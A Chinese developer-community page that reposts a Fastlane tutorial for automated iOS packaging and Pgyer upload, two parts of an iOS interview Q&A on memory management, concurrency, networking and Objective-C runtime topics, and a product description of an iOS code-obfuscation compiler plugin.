著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Fastlane 自动打包技术

Fastlane是一套使用Ruby写的自动化工具集,旨在简化Android和iOS的部署过程,自动化你的工作流。它可以简化一些乏味、单调、重复的工作,像截图、代码签名以及发布AppGithub官网文档我认为我们在选择一些三方开源库或是工具的前提是:可以满足我们...
继续阅读 »

Fastlane是一套使用Ruby写的自动化工具集,旨在简化Android和iOS的部署过程,自动化你的工作流。它可以简化一些乏味、单调、重复的工作,像截图、代码签名以及发布App

Github

官网

文档

我认为我们在选择一些三方开源库或是工具的前提是:可以满足我们当下的需求并且提供好的扩展性, 无疑对我而言Fastlane做到了。我当前项目的需求主要是下面几方面:

1.一行命令实现打包工作,不需要时时等待操作下一步,节省打包的时间去做其他的事。

2.避免频繁修改配置导致可能出现的Release/Debug环境错误,如果没有检查机制,那将是灾难,即使有检查机制,我们也不得不重新打包,浪费了一次打包时间。毕竟人始终没有程序可靠,可以告别便利贴了。

3.通过配置自动上传到蒲公英,fir.im内测平台进行测试分发,也可以直接上传到TestFlight,iTunes Connect

4.证书的同步更新,管理,在新电脑能够迅速具备项目打包环境。

如果你也有上述需求,那我相信Fastlane是一个好的选择。

多说无益,开始上手

一、安装xcode命令行工具
xcode-select --install,如果没有安装,会弹出对话框,点击安装。

如果提示xcode-select: error: command line tools are already installed, use "Software Update" to install updates表示已经安装

二、安装Fastlane
sudo gem install fastlane -NV或是brew cask install fastlane我这里使用gem安装的

安装完了执行fastlane --version,确认下是否安装完成和当前使用的版本号。

三、初始化Fastlane
cd到你的项目目录执行

fastlane init

这里会弹出四个选项,问你想要用Fastlane做什么? 之前的老版本是不用选择的。选几都行,后续我们自行根据需求完善就可以,这里我选的是3。

如果你的工程是用cocoapods的那么可能会提示让你勾选工程的Scheme,步骤就是打开你的xcode,点击Manage Schemes,在一堆三方库中找到你的项目Scheme,在后面的多选框中进行勾选,然后rm -rf fastlane文件夹,重新fastlane init一下就不会报错了。


接着会提示你输入开发者账号和密码。

[20:48:55]: Please enter your Apple ID developer credentials
[20:48:55]: Apple ID Username:

登录成功后会提示你是否需要下载你的App的metadata。点y等待就可以。

如果报其他错的话,一般会带有github的相似的Issues的链接,里面一般都会有解决方案。

四、文件系统

初始化成功后会在当前工程目录生成一个fastlane文件夹,文件目录为下。

其中metadata和screenshots分别对应App元数据和商店应用截图。

Appfile主要存放App的apple_id team_id app_identifier等信息

Deliverfile中为发布的配置信息,一般情况用不到。

Fastfile是我们最应该关注的文件,也是我们的工作文件。

Fastfile


之前我们了解了action,那action的组合就是一个lane,打包到蒲公英是一个lane,打包到应用商店是一个lane,打包到testflight也是一个lane。可能理解为任务会好一些。

打包到蒲公英
这里以打包上传到蒲公英为例子,实现我们的一行命令自动打包。

蒲公英在Fastlane是作为一个插件存在的,所以要打包到蒲公英必须先安装蒲公英的插件。

打开终端输入fastlane add_plugin pgyer

更多信息查看蒲公英文档

新建一个lane

desc "打包到pgy"
lane :test do |options|
gym(
clean:true, #打包前clean项目
export_method: "ad-hoc", #导出方式
scheme:"shangshaban", #scheme
configuration: "Debug",#环境
output_directory:"./app",#ipa的存放目录
output_name:get_build_number()#输出ipa的文件名为当前的build号
)
#蒲公英的配置 替换为自己的api_key和user_key
pgyer(api_key: "xxxxxxx", user_key: "xxxxxx",update_description: options[:desc])
end

这样一个打包到蒲公英的lane就完成了。

option用于接收我们的外部参数,这里可以传入当前build的描述信息到蒲公英平台

执行

在工作目录的终端执行

fastlane test desc:测试打包


然后等待就好了,打包成功后如果蒲公英绑定了微信或是邮箱手机号,会给你发通知的,当然如果是单纯的打包或是打包到其他平台, 你也可以使用fastlane的notification的action集进行自定义配置。

其他的一些配置大家可以自己组合摸索一下,这样会让你对它更为了解

其他的一些小提示

1.可以在before_all中做一些前置操作,比如进行build号的更新,我个人建议不要对Version进行自动修改,可以作为参数传递进来。

2.如果ipa包存放的文件夹为工作区,记得在.gitignore中进行忽略处理,我建议把fastlane文件也进行忽略,否则回退版本打包时缺失文件还需要手动打包。

3.如果你的Apple ID在登录时进行了验证码验证,那么需要设置一个专业密码供fastlane上传使用,否则是上传不上去的。

4.如果你们的应用截图和Metadata信息是运营人员负责编辑和维护的,那么在打包到AppStore时,记得要忽略截图和元数据,否则有可能因为不一致而导致覆盖。skip_metadata:true, #不上传元数据 skip_screenshots:true,#不上传屏幕截图

关于fastlane的一些想法
其实对于很多小团队来说,fastlane就可以简化很多操作,提升一些效率,但是还不够极致,因为我们没有打通Git环节,测试环节,反馈环节等,fastlane只是处于开发中的一环。许多团队在进行Jenkins或是其他的CI的尝试来摸索适合自己的工作流。但是也不要盲目跟风,从需求出发切合实际就好,找到痛点才能找到止痛药!

摘自作者:Cooci_和谐学习_不急不躁
原贴链接:https://www.jianshu.com/p/59725c52e0fa

收起阅读 »

iOS 常见面试题总结及答案(4)

一.OC对象的内存管理机制?在iOS中,使用引用计数来管理OC对象的内存一个新创建的OC对象引用计数默认是1,当引用计数减为0,OC对象就会销毁,释放其占用的内存空间调用retain会让OC对象的引用计数+1,调用release会让OC对象的引用计数-1内存管...
继续阅读 »

一.OC对象的内存管理机制?

在iOS中,使用引用计数来管理OC对象的内存

一个新创建的OC对象引用计数默认是1,当引用计数减为0,OC对象就会销毁,释放其占用的内存空间
调用retain会让OC对象的引用计数+1,调用release会让OC对象的引用计数-1
内存管理的经验总结

当调用alloc、new、copy、mutableCopy方法返回了一个对象,在不需要这个对象时,要调用release或者autorelease来释放它
想拥有某个对象,就让它的引用计数+1;不想再拥有某个对象,就让它的引用计数-1
可以通过以下私有函数来查看自动释放池的情况

extern void _objc_autoreleasePoolPrint(void);

二.内存区域分布

在iOS开发过程中,为了合理的分配有限的内存空间,将内存区域分为五个区,由低地址向高地址分类分别是:代码区、常量区、全局静态区、堆、栈。

代码段 -- 程序编译产生的二进制的数据
常量区 -- 存储常量数据,通常程序结束后由系统自动释放
全局静态区 -- 全局区又可分为未初始化全局区:.bss段和初始化全局区:data段。全局变量和静态变量的存储是放在一块的,初始化的全局变量和静态变量在一块区域, 未初始化的全局变量和未初始化的静态变量在相邻的另一块区域,在程序结束后有系统释放。
堆(heap) -- 程序运行过程中,动态分配的内存
栈(stack) -- 存放局部变量,临时变量

三.堆区和栈取的区别

按管理方式分

对于栈来讲,是由系统编译器自动管理,不需要程序员手动管理
对于堆来讲,释放工作由程序员手动管理,不及时回收容易产生内存泄露
按分配方式分

堆是动态分配和回收内存的,没有静态分配的堆
栈有两种分配方式:静态分配和动态分配
静态分配是系统编译器完成的,比如局部变量的分配
动态分配是有alloc函数进行分配的,但是栈的动态分配和堆是不同的,它的动 态分配也由系统编译器进行释放,不需要程序员手动管理

四.怎么保证多人开发进行内存泄露的检查

1.使用Analyze进行代码的静态分析
2.使用leaks 进行内存泄漏检测
3.使用一些三方工具(DoraemonKit/WithMLeaksFinder)

五.内存泄漏可能会出现的几种原因?

第一种可能:第三方框架不当使用;
第二种可能:block循环引用;
第三种可能:delegate循环引用;
第四种可能:NSTimer循环引用
第五种可能:非OC对象内存处理
第六种可能:地图类处理
第七种可能:大次数循环内存暴涨

六.什么是Tagged Pointer?

1.从64bit开始,iOS引入了Tagged Pointer技术,用于优化NSNumber、NSDate、NSString等小对象的存储
在没有使用Tagged Pointer之前, NSNumber等对象需要动态分配内存、维护引用计数等,NSNumber指针存储的是堆中NSNumber对象的地址值
2.使用Tagged Pointer之后,NSNumber指针里面存储的数据变成了:Tag + Data,也就是将数据直接存储在了指针中
3.当指针不够存储数据时,才会使用动态分配内存的方式来存储数据

七.copy和mutableCopy区别


八.AutoreleasePoolPage的结构?以及如何 push 和 pop 的

AutoreleasePool(自动释放池)其实并没有自身的结构,他是基于多个AutoreleasePoolPage(一个C++类)以双向链表组合起来的结构; 可以通过 push操作添加对象,pod 操作弹出对象,以及通过 release 操作释放对象;


调用push方法会将一个POOL_BOUNDARY入栈,并且返回其存放的内存地址

调用pop方法时传入一个POOL_BOUNDARY的内存地址,会从最后一个入栈的对象开始发送release消息,直到遇到这个POOL_BOUNDARY

id *next指向了下一个能存放autorelease对象地址的区域

九.Autoreleasepool 与 Runloop 的关系

主线程默认为我们开启 Runloop,Runloop 会自动帮我们创建Autoreleasepool,并进行Push、Pop 等操作来进行内存管理
iOS在主线程的Runloop中注册了2个Observer

第1个Observer监听了kCFRunLoopEntry事件,会调用objc_autoreleasePoolPush()
第2个Observer 监听了kCFRunLoopBeforeWaiting事件,会调用objc_autoreleasePoolPop()、objc_autoreleasePoolPush()监听了kCFRunLoopBeforeExit事件,会调用objc_autoreleasePoolPop()

十.什么是多线程?

多线程是指实现多个线程并发执行的技术,进而提升整体处理性能。

同一时间,CPU 只能处理一条线程,多线程并发执行,其实是 CPU 快速的在多条线程之间调度(切换)如果 CPU 调度线程的时间足够快, 就造成了多线程并发执行的假象

主线程的栈区 空间大小为1M,非常非常宝贵

子线程的栈区 空间大小为512K内存空间

优势
充分发挥多核处理器的优势,将不同线程任务分配给不同的处理器,真正进入“并行计算”状态

弊端
新线程会消耗内存控件和cpu时间,线程太多会降低系统运行性能。

十一.iOS的多线程方案有哪几种?


十二,讲一下GCD

GCD(Grand Central Dispatch), 又叫做大中央调度, 它对线程操作进行了封装,加入了很多新的特性,内部进行了效率优化,提供了简洁的C语言接口, 使用更加高效,也是苹果推荐的使用方式.

GCD 的队列

1.并发队列(Concurrent Dispatch Queue)
可以让多个任务并发(同时)执行(自动开启多个线程同时执行任务)
并发功能只有在异步(dispatch_async)函数下才有效

2.串行队列(Serial Dispatch Queue)
让任务一个接着一个地执行(一个任务执行完毕后,再执行下一个任务),按照FIFO顺序执行.

同步和异步任务

GCD多线程经常会使用 dispatch_sync和dispatch_async函数向指定队列添加任务,分别是同步和异步

同步指阻塞当前线程,既要等待添加的耗时任务块Block完成后,函数才能返回,后面的代码才能继续执行

异步指将任务添加到队列后,函数立即返回,后面的代码不用等待添加的任务完成后即可执行,异步提交无法确定任务执行顺序

相关常用函数使用:

1.dispatch_after使用 (通过该函数可以让提交的任务在指定时间后开始执行,也就是延迟执行;)

dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(10 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
NSLog(@"10秒后开始执行")
});

2.dispatch_group_t (组调度)的使用 (组调度可以实现等待一组操都作完成后执行后续任务.)

dispatch_group_t group = dispatch_group_create();
dispatch_group_async(group, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
//请求1
});
dispatch_group_async(group, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
//请求2
});
dispatch_group_async(group, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
//请求3
});
dispatch_group_notify(group, dispatch_get_main_queue(), ^{
//界面刷新
NSLog(@"任务均完成,刷新界面");
});

3.dispatch_semaphore (信号量)如何使用?

用于控制最大并发数     可以防止资源抢夺

与他相关的共有三个函数,分别是:

dispatch_semaphore_create,  // 创建最大并发数
dispatch_semaphore_wait。 // -1 开始执行 (0则等待)
dispatch_semaphore_signal, // +1

4.dispatch_barrier_(a)sync使用?

一个dispatch barrier 允许在一个并发队列中创建一个同步点。当在并发队列中遇到一个barrier, 他会延迟执行barrier的block,等待所有在barrier之前提交的blocks执行结束。 这时,barrier block自己开始执行。 之后, 队列继续正常的执行操作。

十三.什么是NSOperation?

1.NSOperation是基于GCD的上封装,将线程封装成要执行的操作,不需要管理线程的生命周期和同步,比GCD可控性更强

例如:
可以加入操作依赖控制执行顺序,设置操作队列最大并发数,取消操作等

2.NSOperation如何实现操作依赖

通过任务间添加依赖,可以为任务设置执行的先后顺序。接下来通过一个案例来展示设置依赖的效果。

NSOperationQueue *queue=[[NSOperationQueue alloc] init];
//创建操作
NSBlockOperation *operation1=[NSBlockOperation blockOperationWithBlock:^(){
NSLog(@"执行第1次操作,线程:%@",[NSThread currentThread]);
}];
NSBlockOperation *operation2=[NSBlockOperation blockOperationWithBlock:^(){
NSLog(@"执行第2次操作,线程:%@",[NSThread currentThread]);
}];
NSBlockOperation *operation3=[NSBlockOperation blockOperationWithBlock:^(){
NSLog(@"执行第3次操作,线程:%@",[NSThread currentThread]);
}];
//添加依赖
[operation1 addDependency:operation2];
[operation2 addDependency:operation3];
//将操作添加到队列中去
[queue addOperation:operation1];
[queue addOperation:operation2];
[queue addOperation:operation3];

十四.在项目什么时候选择使用 GCD,什么时候选 择 NSOperation

项目中使用 NSOperation 的优点是 NSOperation 是对线程的高度抽象,在项目中使 用它,会使项目的程序结构更好,子类化 NSOperation 的设计思路,是具有面向对 象的优点(复用、封装),使得实现是多线程支持,而接口简单,建议在复杂项目中 使用。

项目中使用 GCD 的优点是 GCD 本身非常简单、易用,对于不复杂的多线程操 作,会节省代码量,而 Block 参数的使用,会是代码更为易读,建议在简单项目中 使用。

区别,以及各自的优势

GCD是纯C语⾔言的API,NSOperationQueue是基于GCD的OC版本封装

GCD只⽀支持FIFO的队列列,NSOperationQueue可以很⽅方便便地调整执⾏行行顺 序、设 置最⼤大并发数量量

NSOperationQueue可以在轻松在Operation间设置依赖关系,⽽而GCD 需要写很 多的代码才能实现

NSOperationQueue⽀支持KVO,可以监测operation是否正在执⾏行行 (isExecuted)、 是否结束(isFinished),是否取消(isCanceld)

GCD的执⾏行行速度⽐比NSOperationQueue快 任务之间不不太互相依赖:GCD 任务之间 有依赖\或者要监听任务的执⾏行行情况:NSOperationQueue

十五.线程安全的处理手段有哪些,线程锁都有哪些?

1.加锁

2.同步执行

线程锁 (我们在使用多线程的时候多个线程可能会访问同一块资源,这样就很容易引发数据错乱和数据安全等问题,这时候就需要我们保证每次只有一个线程访问这一块资源,锁 应运而生。)

1.OSSpinLock (自旋锁)

注:苹果爸爸已经在iOS10.0以后废弃了这种锁机制,使用os_unfair_lock 替换,顾名思义能够保证不同优先级的线程申请锁的时候不会发生优先级反转问题.

2.os_unfair_lock(自旋锁)

3.dispatch_semaphore (信号量)

4.pthread_mutex(互斥锁)

5.NSLock(互斥锁、对象锁)

6.NSCondition(条件锁、对象锁)

7.NSConditionLock(条件锁、对象锁)

8.NSRecursiveLock(递归锁、对象锁)

9.@synchronized(条件锁)

10.pthread_mutex(recursive)(递归锁) 

注.递归锁可以被同一线程多次请求,而不会引起死锁。即在同一线程中在未解锁之前还可以上锁, 执行锁中的代码。这主要是用在循环或递归操作中

性能图


十六.HTTPS连接过程简述

1.客户端向服务端发起 https 请求

2.服务器(需要申请 ca 证书),返回证书(包含公钥)给客户端

3.客户端使用根证书验证 服务器证书的有效性,进行身份确认

4.客户端生成对称密钥,通过公钥进行密码,发送给服务器

5.服务器使用私钥进行 解密,获取对称密钥

6.双方使用对称加密的数据进行通信

十七.http 与https区别

HTTPS和HTTP的区别主要为以下四点:

1.https协议需要到ca申请证书,一般免费证书很少,需要交费。

2.http是超文本传输协议,信息是明文传输,https 则是具有安全性的ssl加密传输协议。

3.http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443。

4.http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全

十八.什么是DNS?DNS劫持问题?

域名系统(DomainNameSystem,缩写:DNS)是[互联网]的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问[互联网]

DNS劫持又称(域名劫持), 是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。

解决办法: 使用HTTPDNS

十九.网络七层是什么?

OSI模型有7层结构,每层都可以有几个子层。 OSI的7层从上到下分别是 7 应用层 6 表示层 5 会话层 4 传输层 3 网络层 2 数据链路层 1 物理层 ;其中高层(即7、6、5、4层)定义了应用程序的功能,下面3层(即3、2、1层)主要面向通过网络的端到端的数据流。

1.应用层
网络服务与最终用户的一个接口。
协议有:HTTP FTP TFTP SMTP SNMP DNS TELNET HTTPS POP3 DHCP

2.表示层
数据的表示、安全、压缩。(在五层模型里面已经合并到了应用层)
格式有,JPEG、ASCll、DECOIC、加密格式等

3 .会话层
建立、管理、终止会话。(在五层模型里面已经合并到了应用层)
对应主机进程,指本地主机与远程主机正在进行的会话

4.传输层
定义传输数据的协议端口号,以及流控和差错校验。
协议有:TCP UDP,数据包一旦离开网卡即进入网络传输层

5.网络层
进行逻辑地址寻址,实现不同网络之间的路径选择。
协议有:ICMP IGMP IP(IPV4 IPV6) ARP RARP

6.数据链路层
建立逻辑连接、进行硬件地址寻址、差错校验 [2] 等功能。(由底层网络定义协议)
将比特组合成字节进而组合成帧,用MAC地址访问介质,错误发现但不能纠正。

7.物理层
建立、维护、断开物理连接。(由底层网络定义协议)

二十.项目中网络层如何做安全处理

1.尽量使用https

2.不要传输明文密码

3.Post并不比Get安全

4.不要使用301跳转

5.http请求都带上MAC

6.http请求使用临时密钥

7.AES使用CBC模式







收起阅读 »

ios加固,ios代码混淆,ios代码混淆工具, iOS源码混淆使用说明详解

ios加固,ios代码混淆,ios代码混淆工具,iOS源码混淆产品是一款纯离线的源码加密工具,主要用于保护iOS项目中的核心代码,避免因逆向工程或破解,造成核心技术被泄漏、代码执行流程被分析等安全问题。该加密工具和普通编译器相似,基于项目源代码可将Object...
继续阅读 »

ios加固,ios代码混淆,ios代码混淆工具,iOS源码混淆产品是一款纯离线的源码加密工具,主要用于保护iOS项目中的核心代码,避免因逆向工程或破解,造成核心技术被泄漏、代码执行流程被分析等安全问题。该加密工具和普通编译器相似,基于项目源代码可将Objective-C、Swift、C、C++代码编译成二进制代码,不同之处在于,加密工具在编译时,能够对代码采取混淆、字符串加密等安全措施。从而避免攻击者通过IDA Pro等逆向工具反编译二进制代码,分析业务代码执行流程,进一步篡改或窃取核心技术。

概述

本文主要介绍iOS源码混淆产品之Xcode插件的使用方式,阅读者需具备iOS开发经验,否则使用可能存在困难。

安装插件

v13.0.2-20190703及其之前的版本为替换clang编译器的模式,之后版本为切换Xcode -> Toolchains的模式,后者可以在Xcode中快速切换编译器。

Xcode插件通过执行python install.py 命令安装编译器,使用完成后执行 python uninstal.py 即可卸载编译器。如下图:

(备注:如果有多个Xcode版本,请修改configuration.txt文件中Xcode默认的路径。)


执行安装会提示输入密码,输入电脑开机密码即可,Xcode插件安装成功后会有Install Success提示,如下图:


引入头文件

将include目录下的KiwiOBF.h头文件拷贝到iOS项目中,并在需的地方进行引用即可。

添加KIWIOBF标签

对需要进行混淆保护的函数,添加KIWIOBF标签,以告知编译器该函数需要进行混淆编译。如下图:


设置参数

全编译器有默认混淆参数,如不能满足需求,可以自定义配置参数
加密参数说明


iOS项目的混淆参数在 Other C Flags,Other C++ Flags,Other Swift Flags中设置,如下图:


卸载插件

Xcode插件:执行 python uninstall.py 即可卸载编译器。

友情告知地址,ios代码混淆,ios加固:https://www.kiwisec.com/product/compiler-ios.html

转自:https://www.jianshu.com/p/7fdb4544c916

收起阅读 »

iOS 常见面试题总结及答案(3)

一.列举出延迟调用的几种方法?1.performSelector方法 [self performSelector:@selector(Delay) withObject:nil afterDelay:3.0f];2.NSTimer定时器  [NSTimer s...
继续阅读 »

一.列举出延迟调用的几种方法?

1.performSelector方法 

[self performSelector:@selector(Delay) withObject:nil afterDelay:3.0f];

2.NSTimer定时器  

[NSTimer scheduledTimerWithTimeInterval:3.0f target:self selector:@selector(Delay) userInfo:nil repeats:NO];

3.sleepForTimeInterval

[NSThread sleepForTimeInterval:3.0f];

4.GCD方式

dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(3 * NSEC_PER_SEC));
dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
[self Delay];
});
- (void)Delay {
NSLog(@"执行");
}

二.NSCache 和NSDictionary 区别?

NSCache可以提供自动删减缓存功能,而且保证线程安全,与字典不同,不会拷贝键。
NSCache可以设置缓存上限,限制对象个数和总缓存开销。定义了删除缓存对象的时机。这个机制只对NSCache起到指导作用,不会一定执行。
NSPurgeableData搭配NSCache使用,可以自动清除数据。
只有那种“重新计算很费劲”的数据才值得放入缓存。

三.NSArray 和 NSSet区别

NSSet和NSArray功能性质一样,用于存储对象,属于集合。
NSSet属于 “无序集合”,在内存中存储方式是不连续
NSArray是 “有序集合” 它内存中存储位置是连续的。
NSSet,NSArray都是类,只能添加对象,如果需要加入基本数据类型(int,float,BOOL,double等),需要将数据封装成NSNumber类型。
由于NSSet是用hash实现的所以就造就了它查询速度比较快,但是我们不能把某某对象存在第几个元素后面之类的有关下标的操作。

四.什么是分类?

分类: 在不修改原有类代码的情况下,可以给类添加方法
Categroy 给类扩展方法,或者关联属性, Categroy底层结构也是一个结构体:内部存储这结构体的名字,那个类的分类,以及对象和类方法列表,协议,属性信息
通过Runtime加载某个类的所有Category数据
把所有Category的方法、属性、协议数据,合并到一个大数组中后面参与编译的Category数据,会在数组的前面
将合并后的分类数据(方法、属性、协议),插入到类原来数据的前面

五.为什么说OC是一门动态语言?

动态语言:是指程序在运行时可以改变其结构,新的函数可以被引进,已有的函数可以被删除等在结构上的变化
动态类型语言: 就是类型的检查是在运行时做的。
OC的动态特性可从三方面:

动态类型(Dynamic typing):最终判定该类的实例类型是在运行期间
动态绑定(Dynamic binding):在运行时确定调用的方法
动态加载(Dynamic loading):在运行期间加载需要的资源或可执行代码

六.什么是动态绑定?

动态绑定 将调用方法的确定也推迟到运行时。OC可以先跳过编译,到运行的时候才动态地添加函数调用,在运行时才决定要调用什么方法,需要传什么参数进去,这就是动态绑定。
在编译时,方法的 调用并不和代码绑定在一起,只有在消实发送出来之后,才确定被调用的代码。通过动态类型和动态绑定技术,

七.什么是谓词?

谓词(NSPredicate)是OC针对数据集合的一种逻辑帅选条件,类似一个过滤器,简单实实用代码如下:

Person * p1 = [Person personWithName:@"alex" Age:20];
Person * p2 = [Person personWithName:@"alex1" Age:30];
Person * p3 = [Person personWithName:@"alex2" Age:10];
Person * p4 = [Person personWithName:@"alex3" Age:40];
Person * p5 = [Person personWithName:@"alex4" Age:80];

NSArray * persons = @[p1, p2, p3, p4, p5];
//定义谓词对象,谓词对象中包含了过滤条件
NSPredicate *predicate = [NSPredicate predicateWithFormat:@"age < 30"];
//使用谓词条件过滤数组中的元素,过滤之后返回查询的结果
NSArray *array = [persons filteredArrayUsingPredicate:predicate];

八.什么是类工厂方法?

类工厂方法就是用来快速创建对象的类方法, 他可以直接返回一个初始化好的对象,具备以下特征:

一定是类方法
返回值需要是 id/instancetype 类型
规范的方法名说说明类工厂方法返回的是一个什么对象,一般以类名首字母小写开始;
比如系统 UIButton 的buttonWithType 就是一个类工厂方法:

// 类工厂方法
+ (instancetype)buttonWithType:(UIButtonType)buttonType;
// 使用
+ UIButton * button = [UIButton buttonWithType:UIButtonTypeCustom];

九.简要说明const,宏,static,extern区分以及使用?

1.const

const常量修饰符,经常使用的字符串常量,一般是抽成宏,但是苹果不推荐我们抽成宏,推荐我们使用const常量。

- const 作用:限制类型
- 使用const修饰基本变量, 两种写法效果一致 , b都是只读变量
const int b = 5;
int const b = 5;
- 使用const修饰指针变量的变量
第一种: const int *p = &a 和 int const *q = &a; 效果一致,*p 的值不能改,p 的指向可以改;
第二种: int * const p = &a; 表示 p 的指向不能改,*p 的值可以改
第三种:
const int * const p = &a; *p 值和 p 的指向都不能改

const 在*左边, 指向可变, 值不可变
const 在*的右边, 指向不可变, 值可变
const 在*的两边, 都不可变

2.

* 基本概念:宏是一种批量处理的称谓。一般说来,宏是一种规则或模式,或称语法替换 ,用于说明某一特定输入(通常是字符串)如何根据预定义的规则转换成对应的输出(通常也是字符串)。这种替换在预编译时进行,称作宏展开。编译器会在编译前扫描代码,如果遇到我们已经定义好的宏那么就会进行代码替换,宏只会在内存中copy一份,然后全局替换,宏一般分为对象宏和函数宏。 宏的弊端:如果代码中大量的使用宏会使预编译时间变长。

const与宏的区别?

* 编译检查 宏没有编译检查,const有编译检查;
* 宏的好处 定义函数,方法 const不可以;
* 宏的坏处 大量使用宏,会导致预编译时间过长

3.static

* 修饰局部变量: 被static修饰局部变量,延长生命周期,跟整个应用程序有关,程序结束才会销毁,被 static 修饰局部变量,只会分配一次内存
* 修饰全局变量: 被static修饰全局变量,作用域会修改,也就是只能在当前文件下使用

4.extern

声明外部全局变量(只能用于声明,不能用于定义)

常用用法(.h结合extern联合使用)
如果在.h文件中声明了extern全局变量,那么在同一个类中的.m文件对全局变量的赋值必须是:数据类型+变量名(与声明一致)=XXXX结构。并且在调用的时候,必须导入.h文件。代码如下:

.h
@interface ExternModel : NSObject
extern NSString *lhString;
@end
.m
@implementation ExternModel
NSString *lhString=@"hello";
@end

调用的时候:例如:在viewController.m中调用,则可以引入:ExternModel.h,否则无法识别全局变量。当然也可以通过不导入头文件的方式进行调用(通过extern调用)。

十.id类型, nil , Nil ,NULL和NSNULL的区别?

id类型: 是一个独特的数据类型,可以转换为任何数据类型,id类型的变量可以存放任何数据类型的对象,在内部处理上,这种类型被定义为指向对象的指针,实际上是一个指向这种对象的实例变量的指针; id 声明的对象具有运行时特性,既可以指向任意类型的对象
nil 是一个实例对象值;如果我们要把一个对象设置为空的时候,就用nil
Nil 是一个类对象的值,如果我们要把一个class的对象设置为空的时候,就用Nil
NULL 指向基本数据类型的空指针(C语言的变量的指针为空)
NSNull 是一个对象,它用在不能使用nil的场合

十一.C和 OC 如何混编&&Swift 和OC 如何调用?

1.xcode可以识别一下几种扩展名文件:

.m文件,可以编写 OC语言 和 C 语言代码
.cpp: 只能识别C++ 或者C语言(C++兼容C)
.mm: 主要用于混编 C++和OC代码,可以同时识别OC,C,C++代码

2.Swift 调用 OC代码

需要创建一个 Target-BriBridging-Header.h 的桥文件,在乔文件导入需要调用的OC代码头文件即可

3.OC 调用 Swift代码
直接导入 Target-Swift.h文件即可, Swift如果需要被OC调用,需要使用@objc 对方法或者属性进行修饰

十二.OC与 JS交互方式有哪些?

1.通过拦截URL

- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType {
NSString *url = request.URL.absoluteString;
if ([url rangeOfString:@"需要跳转源生界面的URL判断"].location != NSNotFound) {
//跳转原生界面
return NO;
}
return YES;
}

2.使用MessageHandler(WKWebView)

当JS端想传一些数据给iOS.那它们会调用下方方法来发送.
window.webkit.messageHandlers.<方法名>.postMessage(<数据>)上方代码在JS端写会报错,导致网页后面业务不执行.可使用try-catch执行.
那么在OC中的处理方法如下.它是WKScriptMessageHandler的代理方法.name和上方JS中的方法名相对应.

- (void)addScriptMessageHandler:(id )scriptMessageHandler name:(NSString *)name;

3.JavaScriptCore (UIWebView)
使用三方库WebViewJavascriptBridge,可提供 js 调OC,以及OC掉JS

1. 设置 webViewBridge
_bridge = [WKWebViewJavascriptBridge bridgeForWebView:self.webView];
[_bridge setWebViewDelegate:self];
2. 注册handler方法,需要和 前段协商好 方法名字,是供 JS调用Native 使用的。
[_bridge registerHandler:@"scanClick" handler:^(id data, WVJBResponseCallback responseCallback) {
// OC调用
NSString *scanResult = @"http://www.baidu.com";
// js 回调传参
responseCallback(scanResult);
}];
3. OC掉用JS
[_bridge callHandler:@"testJSFunction" data:@"一个字符串" responseCallback:^(id responseData) {
NSLog(@"调用完JS后的回调:%@",responseData);
}];

4.OC调用JS代码

// 直接运行 使用 
NSString *jsStr = @"执行的JS代码";
[webView stringByEvaluatingJavaScriptFromString:jsStr];

// 使用JavaScriptCore框架
#import
- (void)webViewDidFinishLoad:(UIWebView *)webView {
//获取webview中的JS内容
JSContext *context = [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"];
NSString *runJS = @"执行的JS代码";
//准备执行的JS代码
[context evaluateScript:runJS];
}

十三.编译过程做了哪些事情

Objective,Swift都是编译语言。编译语言在执行的时候,必须先通过编译器生成机器码,机器码可以直接在CPU上执行,所以执行效率较高。Objective,Swift二者的编译都是依赖于Clang + LLVM. OC和Swift因为原理上大同小异,知道一个即可!
1.iOS编译 不管是OC还是Swift,都是采用Clang作为编译器前端,LLVM(Low level vritual machine)作为编译器后端。
2.编译器前端 :编译器前端的任务是进行:语法分析,语义分析,生成中间代码(intermediate representation )。在这个过程中,会进行类型检查,如果发现错误或者警告会标注出来在哪一行
3.编译器后端 :编译器后端会进行机器无关的代码优化,生成机器语言,并且进行机器相关的代码优化。LVVM优化器会进行BitCode的生成,链接期优化等等,LLVM机器码生成器会针对不同的架构,比如arm64等生成不同的机器码。

十四.Category的实现原理&&使用场合&&Class Extension的区别

1.Category编译之后的底层结构是struct category_t,里面存储着分类的对象方法、类方法、属性、协议信息
2.在程序运行的时候,runtime会将Category的数据,合并到类信息中(类对象、元类对象中)

使用场合:

在不修改原有类代码的情况下,为类添对象方法或者类方法
或者为类关联新的属性
分解庞大的类文件

添加实例方法
添加类方法
添加协议
添加属性
关联成员变量

区别

Class Extension在编译的时候,它的数据就已经包含在类信息中
Category是在运行时,才会将数据合并到类信息中。

十五.Category能否添加成员变量?如果可以,如何给Category添加成员变量?

不能直接给Category添加成员变量,但是可以间接实现Category有成员变量的效果
Category是发生在运行时,编译完毕,类的内存布局已经确定,无法添加成员变量(Category的底层数据结构也没有成员变量的结构)
可以通过 runtime 动态的关联属性

十六.Category中有load方法吗?load方法是什么时候调用的?load 方法能继承吗?

有load方法
load方法在runtime加载类、分类的时候调用
load方法可以继承,但是一般情况下不会主动去调用load方法,都是让系统自动调用

十七.initialize方法如何调用,以及调用时机

当类第一次收到消息的时候会调用类的initialize方法
是通过 runtime 的消息机制 objc_msgSend(obj,@selector()) 进行调用的
